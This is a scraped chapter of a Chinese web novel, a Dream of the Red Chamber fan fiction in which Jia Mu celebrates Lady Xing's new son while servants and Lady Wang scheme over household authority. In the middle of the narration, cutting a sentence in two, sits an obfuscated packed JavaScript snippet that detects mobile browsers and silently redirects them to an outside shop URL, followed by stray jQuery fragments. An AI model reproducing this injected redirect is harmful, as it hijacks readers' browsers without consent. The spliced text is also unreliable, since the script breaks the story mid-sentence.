默认冷灰
24号文字
方正启体

2. 第 2 章

作者:春日森林熊本书字数:K更新时间:
    贾母在得知邢夫人生子的消息后,自然是高兴的。


    虽然长子与次子都是从自己的肚子出来,但长子一出生就被婆母抱走,贾母是怨恨的。贾母怨恨婆母的狠心,怨恨婆母对自己的看不起,怨恨丈夫的不作为,也怨恨这个自小就向着婆母的长子。


    而次子却是在自己身边长大。就像是跟婆母竞争一样,除了贾赦的袭爵贾母无法插手,别处她总要贾政处处比贾赦强。


    但贾赦到底还是自己的孩子,在婆母去世多年,丈夫也去世了的情况下,即便贾赦行事再荒唐,她对这个儿子,还是有几分关怀的,更不用说孙子了。


    待前来报喜的林之孝离开后,贾母心中高兴,把身旁的心腹大丫鬟鸳鸯叫到跟前,“你们大太太生子,这是天大的喜事。刚生产的女人正正需要补身子。你亲自去,我记得我私库里有几株上了年份的好老山参,挑一挑,再把那些个成色好的血燕,鹿茸也送去!”


    “告诉大太太,让她安心养好珂儿。若有什么需要,只管找你们二太太,就说是我吩咐的。”贾母又是叹了一口气,“哪里有人起名这般儿戏,那还不得找人仔细盘算,上告祖宗才能定下来。”


    都是婆母纵得自己的大儿子这般任性,贾母在心里暗暗埋怨道。


    鸳鸯是贾母的可人儿,自然知道贾母不是真的生气,便赶紧说道,“大老爷也是高兴,自然顾不得其他。更何况,这不是还有老太太您在么,大家都知道您是最最周全的人了。”


    “你这皮猴儿,”贾母笑着用指头点了点鸳鸯,“你到大太太那边送了东西后,就到宁国府一趟,告诉宗老,在祠堂记上名才好。”


    “想当初我们宁荣二府多么热闹,”贾母颇有感触地说,“没想到如今子嗣却越来越稀少,宁国府三代单传不说,政儿嫡子只有贾珠与宝玉,若不是这个孩儿出生,你们大老爷便只有一个嫡子贾琏。”


    “幸好还有元春,迎春,探春,惜春几个好姑娘陪着,若不然我这荣庆堂,平日哪能这么热闹。”


    “老太太这话说得,”鸳鸯见贾母如此感叹,便上前哄道,“大老爷跟二老爷都孝顺着呢,别的不说,大太太与二太太也经常过来。珠大爷之前每日都过来,只是大了要读书,这才来少了。您可是咱们宁荣二府的老太君,若是可以,大家怕是都想在这荣庆堂住下陪您呢。”


    “我这地儿哪有这么大,你这丫头就是爱打趣我,”贾母被哄得高兴,“你还不快去,事情多着呢,可别想着偷懒。”贾母笑着说道。


    “奴婢这就去办!这报喜的讨赏机会奴婢可不会错过!”鸳鸯笑着站起身。


    “看你这狭促的模样,平日我可少了你的赏。”贾母跟鸳鸯开着玩笑。鸳鸯笑着行了礼,就出去办事了。


    鸳鸯出去后,贾母脸上的笑收了起来。她想到了自己二儿子的媳妇。王夫人这些年管家,做得虽不错,但权欲日重,也隐隐有些张狂的苗头。正好邢夫人生子,可以敲打一番。


    贾母把身旁给自己锤腿的丫鬟叫了起来,“珍珠,你去二太太屋里一趟,跟二太太说,如今大太太刚生产完,什么都要紧着大太太与孩子,可不能出差错。”


    大丫鬟珍珠连忙放下手中的美人锤,应声道:“是,老太君。”


    话说邢夫人这头,她生了孩子后自然是千好百好,正抱着孩子看呢,外头就传来动静,说是老太太房里的鸳鸯姐姐来了。


    邢夫人赶紧理了理头发,脸上露出受宠若惊又期待的神情。


    鸳鸯带着几个小丫鬟,小丫鬟手上拿着好些个木匣子,便是笑吟吟地给邢夫人道起喜来。她又转述了贾母的话,“老太太听到您生产的消息可高兴了,特意命我去私库拿了好些个上了年份的人参并血燕鹿茸。她还说了,您尽可放心养好身体,若有什么需要,找二太太要便可,中公给钱就是了。”


    邢夫人听得贾母如此看重自己与孩子,便是激动地连声道,“烦劳鸳鸯姑娘跑这一趟,也替我多谢老太太的恩典!我一定好生养着,绝不让老太太操心。”


    她又忙命王善保家的去给鸳鸯端茶跟赏钱。


    鸳鸯何等机敏通透,深知邢夫人这番殷勤,十成十是冲着老太太的面子,自己不过是传话的体面丫头。因此她连忙笑着拦住王善保家的,“好妈妈,快别忙!我哪敢劳动您?我还得去宁国府那边找宗老呢,实在不敢多耽搁。大太太您安心歇着,奴婢这就告退了。”


    说罢,又说了几句吉祥话,便带着小丫鬟们行礼退了出去,行事干脆利落,礼数周全,给足了邢夫人面子,又不显得过分亲热或卑屈。


    邢夫人看着鸳鸯离去,又摸着贾母赏下的东西,心中又是欢喜,又是酸楚,还有一股隐隐升起的底气。她低头看了看自己吃饱困觉的孩儿,满心是欢喜。


    王善保的在送完鸳鸯后,就回来命人把其中一根人参拿去熬人参粥,“大太太您看,这人参芦碗紧密,环纹深陷,最是适合妇人生产后补气血,”她又是趁机说道,“大太太如今总算是苦尽甘来,之前的隐忍也算是值得了。”


    “嬷嬷别说这话,之前老太太待我也不薄。”邢夫人如今是心满意足,看谁都高兴。


    王善保家的在心里想着,是饿不着冻不着,但厚待可说不上,若是好,岂会连自己屋里的事情都不让管,每月只能拿着月奉过日子。


    王善保家的是邢夫人的陪房,邢夫人之前在荣国府便是透明人般的处境,王善保家的在府里哪里又能讨到好。王善保家的平日侍奉邢夫人,她的丈夫在府里领了个马夫的差事,还不是管事呢。


    如今邢夫人生了子,地位上去了,王善保家的的心思也活络了,觉得得替大太太争一争。若大太太争得了好,她家自然也能水涨船高,鸡犬升天。


    “是,大太太说得对。但今时不同往日,奴才从大太太小时候就跟着大太太了,自然是向着您的。”王善保家的劝道,“如今有了小少爷,自然事事都要给小少爷最好的。这......咱们连咱们屋里的事情都没有管家权,恐怕不好过。”她向二房的方向指了指。


    “那边仗着老太太的偏爱,占了咱们大老爷的荣禧堂不说,还一直占着荣国府的管家权,”王善保家的不服气地说,“荣国府的管家权咱们不惦记,但咱们屋里的管家权,得握在手中啊,”


    “难道大太太想往后为小少爷做个衣裳拿个布料,都要向那边摊着手要?”王善保家的说道。


    “这.......”邢夫人有些被王善保家的说动了。她自己隐忍不要紧,但她不能叫自己的孩子跟着自己被人无视。


    “再看看吧。”虽然心里想着为自己的孩子冲锋陷阵,但邢夫人委曲求全


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211293|197408||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    惯了,她还是有些难下定决心。


    而贾珂如今还只是个小婴儿,他瞪大眼睛看着周围的人嘀嘀咕咕,努力理清自己的处境。他年轻时本就是常春藤大学毕业,智商自然是顶尖的。在带着家族厮杀的过程中,也没少跟唐人街的人合作,他喜欢那片神秘大陆的璀璨文化,中文是懂一些的。


    但懂一些跟熟知不同,时代也不同,他还需要一些时间去适应。他大概也知道自己出生在一个大家族里,父亲是个浪荡子,母亲是父亲的继室,还有些受制于人。自己有一个同父异母的哥哥和一个同父异母的姐姐,这两个人都来看过自己。


    哥哥看着颇为开朗,还给自己带了小老虎玩偶。姐姐就有些陌生了,只远远看着,并没有靠近。


    小婴儿的精力实在有限,没多时,他就又沉沉睡着了。


    又说回王夫人这边,珍珠过去王夫人那儿传了话后,王夫人表面上笑着答应,还给了珍珠打赏,但等珍珠一走,却直接拉了脸。


    “老太太这是什么意思?她觉得我就是那般小气的人吗?我辛辛苦苦为贾家付出,到头来又得到些什么?!”王夫人想把手中的茶盏摔了,怕老太太知道,又放了下来。


    “若是不信我,直接不让我管家便是。”若是其他人收到老太君的“提醒”,不会有这么大反应,但二太太最是看重自己的名声,容不得别人说一点。


    老太太这般大张旗鼓,特意遣人过来强调,岂不是在隐晦地说自己是个会克扣人的?


    金钏儿跟玉钏儿相视一眼,便是在旁边哄道,“老太君定不是这个意思。自从二太太您管家以来,谁不交口称赞,荣国府上上下下知道您最是贤德,便是荣国府外,也都知道您是个乐善好施的性子。”


    “是啊,老太君也是太过高兴,那毕竟是她的孙子,”玉钏儿小心地蹲坐在二太太的身边,轻轻地为二太太锤腿,“大太太刚诞下麟儿,老太太紧张些,也是自然。但要说信任,那是谁都比不上您的。”


    金钏儿与玉钏儿在王夫人的两边哄着她。


    荣国府外的人或许不知道,但荣国府的每个下人都心里清,王夫人最是看重管家权,说不要管家权的那些话,不过说说而已。若是真不看重管家权,她也不会这么生气了。


    做当家太太,出风头是一方面,最重要的是其中的巨大利益。


    贾府的财产以土地为重,地租是收入的大头。仅荣国府一府,每年土地就能入账近五万两白银,这些都只是流动的银子。


    而在这个时代,一两银子的购买力相当于现代的一万块钱,也就是说,仅荣国府的地租收入,一年就能有近五个亿。更不用说各处铺子的收入以及贾赦一等将军的俸禄。


    这么多银子流入,只要从中偷偷截留一些,都是巨大的收益,而王夫人显然是个中好手。钱帛动人心,也迷人眼。


    但嫡长为尊,这荣国府的家,本来就该大房当。这荣禧堂本该大房住,这荣国府的管家权,也本该大太太来当。原本的大太太只是继室,还没有亲生孩子,王夫人是不把她放在眼里的。


    但现在大太太生下亲子,还得了老太君的“看重”,王夫人开始有紧迫感了。


    “关照而已,大太太刚生产,自然是要关照的,”王夫人看了看大房的方向,“若是其他的,就各凭本事了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)